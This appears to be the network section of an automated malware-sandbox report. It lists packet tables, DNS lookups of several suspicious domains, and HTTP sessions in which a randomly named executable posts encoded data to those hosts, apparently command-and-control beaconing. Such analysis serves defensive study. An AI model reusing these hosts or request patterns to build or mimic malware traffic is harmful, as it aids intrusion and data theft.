Oct 9, 2024 14:02:35.774782896 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774810076 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774826050 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774851084 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.774930000 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774945021 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774960995 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774975061 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.775003910 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.775744915 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.775890112 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.775914907 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.775930882 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.776060104 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.776074886 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.776092052 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.776104927 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.776134014 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.776823997 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.776840925 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.776856899 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.776989937 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.777123928 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777139902 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777154922 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777173996 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.777209997 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.777601004 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777746916 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777762890 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777777910 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777791977 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.777795076 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777820110 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.777892113 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.777937889 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.778692007 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.778712988 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.778733969 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.778760910 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.778837919 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.778881073 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.792689085 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:36.811815023 CEST	49988	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:36.817272902 CEST	80	49988	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:36.817398071 CEST	49988	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:36.824409008 CEST	49988	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:36.829931021 CEST	80	49988	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:37.982923985 CEST	80	49988	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:38.003098011 CEST	80	49988	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:38.003123999 CEST	80	49988	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:38.003283024 CEST	49988	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:38.004648924 CEST	49988	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:38.005978107 CEST	49988	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:38.010883093 CEST	80	49988	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:43.273756027 CEST	49989	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:43.278983116 CEST	80	49989	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:43.279318094 CEST	49989	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:43.294836998 CEST	49989	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:43.299689054 CEST	80	49989	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:44.031128883 CEST	80	49989	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:44.031162024 CEST	80	49989	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:44.031246901 CEST	49989	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:44.807970047 CEST	49989	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:45.869112015 CEST	49990	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:45.874083996 CEST	80	49990	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:45.874193907 CEST	49990	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:45.892370939 CEST	49990	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:45.897308111 CEST	80	49990	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:46.528211117 CEST	80	49990	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:46.528834105 CEST	80	49990	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:46.528894901 CEST	49990	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:47.401705980 CEST	49990	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:48.447841883 CEST	49991	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:48.452819109 CEST	80	49991	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:48.452943087 CEST	49991	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:48.490209103 CEST	49991	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:48.495398045 CEST	80	49991	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:48.495512009 CEST	80	49991	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:49.191828012 CEST	80	49991	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:49.191979885 CEST	80	49991	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:49.192197084 CEST	49991	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:49.995743990 CEST	49991	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:51.033441067 CEST	49992	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:51.040519953 CEST	80	49992	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:51.040649891 CEST	49992	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:51.068710089 CEST	49992	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:51.076180935 CEST	80	49992	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:51.703099012 CEST	80	49992	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:51.703176975 CEST	80	49992	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:51.703190088 CEST	80	49992	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:51.703360081 CEST	49992	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:51.705686092 CEST	49992	80	192.168.2.9	217.160.0.231
Oct 9, 2024 14:02:51.710623026 CEST	80	49992	217.160.0.231	192.168.2.9
Oct 9, 2024 14:02:56.754997969 CEST	49993	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:56.759958982 CEST	80	49993	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:56.760119915 CEST	49993	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:56.771025896 CEST	49993	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:56.776048899 CEST	80	49993	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:57.355895042 CEST	80	49993	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:57.356194019 CEST	80	49993	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:57.356326103 CEST	49993	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:58.276665926 CEST	49993	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:59.295099974 CEST	49994	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:59.300143003 CEST	80	49994	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:59.300282955 CEST	49994	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:59.311409950 CEST	49994	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:02:59.316355944 CEST	80	49994	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:59.899641991 CEST	80	49994	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:59.899924040 CEST	80	49994	199.192.21.169	192.168.2.9
Oct 9, 2024 14:02:59.900095940 CEST	49994	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:00.823407888 CEST	49994	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:01.844705105 CEST	49995	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:01.849735975 CEST	80	49995	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:01.849921942 CEST	49995	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:01.862705946 CEST	49995	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:01.868429899 CEST	80	49995	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:01.868446112 CEST	80	49995	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:02.522177935 CEST	80	49995	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:02.522463083 CEST	80	49995	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:02.522731066 CEST	49995	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:03.948591948 CEST	49995	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:04.967365980 CEST	49996	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:04.972496033 CEST	80	49996	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:04.972603083 CEST	49996	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:04.979829073 CEST	49996	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:04.984972954 CEST	80	49996	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:05.563469887 CEST	80	49996	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:05.563600063 CEST	80	49996	199.192.21.169	192.168.2.9
Oct 9, 2024 14:03:05.563664913 CEST	49996	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:05.566375971 CEST	49996	80	192.168.2.9	199.192.21.169
Oct 9, 2024 14:03:05.571573019 CEST	80	49996	199.192.21.169	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:01:59.807276964 CEST	61455	53	192.168.2.9	1.1.1.1
Oct 9, 2024 14:01:59.860987902 CEST	53	61455	1.1.1.1	192.168.2.9
Oct 9, 2024 14:02:15.592539072 CEST	50584	53	192.168.2.9	1.1.1.1
Oct 9, 2024 14:02:15.676147938 CEST	53	50584	1.1.1.1	192.168.2.9
Oct 9, 2024 14:02:28.999229908 CEST	62535	53	192.168.2.9	1.1.1.1
Oct 9, 2024 14:02:29.162264109 CEST	53	62535	1.1.1.1	192.168.2.9
Oct 9, 2024 14:02:43.022150993 CEST	53561	53	192.168.2.9	1.1.1.1
Oct 9, 2024 14:02:43.271066904 CEST	53	53561	1.1.1.1	192.168.2.9
Oct 9, 2024 14:02:56.722927094 CEST	52127	53	192.168.2.9	1.1.1.1
Oct 9, 2024 14:02:56.752389908 CEST	53	52127	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 9, 2024 14:01:59.807276964 CEST	192.168.2.9	1.1.1.1	0x4d8c	Standard query (0)	www.kovallo.cloud	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:15.592539072 CEST	192.168.2.9	1.1.1.1	0x17f3	Standard query (0)	www.030002304.xyz	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:28.999229908 CEST	192.168.2.9	1.1.1.1	0x1e6b	Standard query (0)	www.newdaydawning.net	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:43.022150993 CEST	192.168.2.9	1.1.1.1	0xaf29	Standard query (0)	www.coffee-and-blends.info	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:56.722927094 CEST	192.168.2.9	1.1.1.1	0x136e	Standard query (0)	www.tophm.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 9, 2024 14:00:57.163038969 CEST	1.1.1.1	192.168.2.9	0x38c4	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:00:57.163038969 CEST	1.1.1.1	192.168.2.9	0x38c4	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:01:59.860987902 CEST	1.1.1.1	192.168.2.9	0x4d8c	No error (0)	www.kovallo.cloud	kovallo.cloud		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:01:59.860987902 CEST	1.1.1.1	192.168.2.9	0x4d8c	No error (0)	kovallo.cloud		81.2.196.19	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:15.676147938 CEST	1.1.1.1	192.168.2.9	0x17f3	No error (0)	www.030002304.xyz	030002304.xyz		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:02:15.676147938 CEST	1.1.1.1	192.168.2.9	0x17f3	No error (0)	030002304.xyz		65.21.196.90	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:29.162264109 CEST	1.1.1.1	192.168.2.9	0x1e6b	No error (0)	www.newdaydawning.net	newdaydawning.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:02:29.162264109 CEST	1.1.1.1	192.168.2.9	0x1e6b	No error (0)	newdaydawning.net		44.213.25.70	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:43.271066904 CEST	1.1.1.1	192.168.2.9	0xaf29	No error (0)	www.coffee-and-blends.info		217.160.0.231	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:02:56.752389908 CEST	1.1.1.1	192.168.2.9	0x136e	No error (0)	www.tophm.xyz		199.192.21.169	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.kovallo.cloud

www.030002304.xyz

www.newdaydawning.net

www.coffee-and-blends.info

www.tophm.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49980	81.2.196.19	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:01:59.885922909 CEST	513	OUT	GET /koup/?wZBh=UzoT8ph&8T2hn=zjgQ1IglZSD3j4X7Mb/L9VMKC/lioNLyTiYpIFDypb2XxqZYhzfHyCasu3J1FKt+ikpO665Ej+Wn9KB3IEhbZRsyBSNLju/tAMuqMeNka3iE/L9xhA== HTTP/1.1 Host: www.kovallo.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Oct 9, 2024 14:02:00.547663927 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:02:00 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49981	65.21.196.90	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:15.698322058 CEST	778	OUT	POST /6uay/ HTTP/1.1 Host: www.030002304.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.030002304.xyz Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 194 Cache-Control: no-cache Referer: http://www.030002304.xyz/6uay/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 31 76 65 75 30 36 4f 74 4d 6b 78 75 39 74 2f 5a 35 4e 53 49 47 49 53 55 66 41 51 52 51 51 46 69 69 30 4f 77 44 78 65 4b 44 75 49 36 7a 37 33 4b 4e 6c 49 59 49 63 45 37 36 77 46 4e 51 41 62 5a 36 4e 64 46 67 38 5a 77 58 63 62 2b 37 7a 47 6e 51 62 33 70 6f 32 2b 51 53 61 56 4c 54 44 33 42 5a 30 6f 4f 76 64 6f 42 77 74 33 67 4a 41 73 58 63 31 2b 61 37 4d 76 59 6b 52 7a 67 32 48 6a 6e 67 37 56 37 48 2f 41 44 73 33 50 77 46 31 64 37 48 62 78 39 53 4a 37 51 6d 4e 72 4c 47 49 37 32 6e 62 34 79 4f 58 50 2f 65 59 6e 41 4a 67 53 68 70 68 77 41 48 6e 39 34 4a 2b 31 63 Data Ascii: 8T2hn=1veu06OtMkxu9t/Z5NSIGISUfAQRQQFii0OwDxeKDuI6z73KNlIYIcE76wFNQAbZ6NdFg8ZwXcb+7zGnQb3po2+QSaVLTD3BZ0oOvdoBwt3gJAsXc1+a7MvYkRzg2Hjng7V7H/ADs3PwF1d7Hbx9SJ7QmNrLGI72nb4yOXP/eYnAJgShphwAHn94J+1c
Oct 9, 2024 14:02:16.350398064 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 09 Oct 2024 12:02:16 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49982	65.21.196.90	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:18.249644041 CEST	802	OUT	POST /6uay/ HTTP/1.1 Host: www.030002304.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.030002304.xyz Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 218 Cache-Control: no-cache Referer: http://www.030002304.xyz/6uay/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 31 76 65 75 30 36 4f 74 4d 6b 78 75 38 4f 6e 5a 37 75 36 49 45 6f 53 54 51 67 51 52 65 77 46 6d 69 31 79 77 44 77 62 52 44 63 63 36 79 61 48 4b 4d 6b 49 59 59 4d 45 37 75 67 46 4d 55 41 62 6f 36 4e 5a 6e 67 39 6c 77 58 63 50 2b 37 33 43 6e 51 49 66 75 6f 6d 2b 53 61 36 56 4a 58 44 33 42 5a 30 6f 4f 76 64 38 37 77 74 76 67 49 7a 30 58 65 58 57 5a 34 4d 76 5a 73 78 7a 67 67 48 6a 6a 67 37 56 6a 48 2b 63 74 73 31 33 77 46 77 5a 37 48 71 78 2b 63 35 37 53 35 39 71 34 42 61 4f 44 6f 36 45 61 42 42 44 71 49 61 2b 6f 44 68 79 2f 34 54 35 62 53 77 39 66 4f 5a 38 30 73 6c 35 2f 6b 2f 34 4b 41 4f 44 42 74 37 56 47 47 78 33 68 45 41 3d 3d Data Ascii: 8T2hn=1veu06OtMkxu8OnZ7u6IEoSTQgQRewFmi1ywDwbRDcc6yaHKMkIYYME7ugFMUAbo6NZng9lwXcP+73CnQIfuom+Sa6VJXD3BZ0oOvd87wtvgIz0XeXWZ4MvZsxzggHjjg7VjH+cts13wFwZ7Hqx+c57S59q4BaODo6EaBBDqIa+oDhy/4T5bSw9fOZ80sl5/k/4KAODBt7VGGx3hEA==
Oct 9, 2024 14:02:18.896882057 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 09 Oct 2024 12:02:18 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49983	65.21.196.90	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
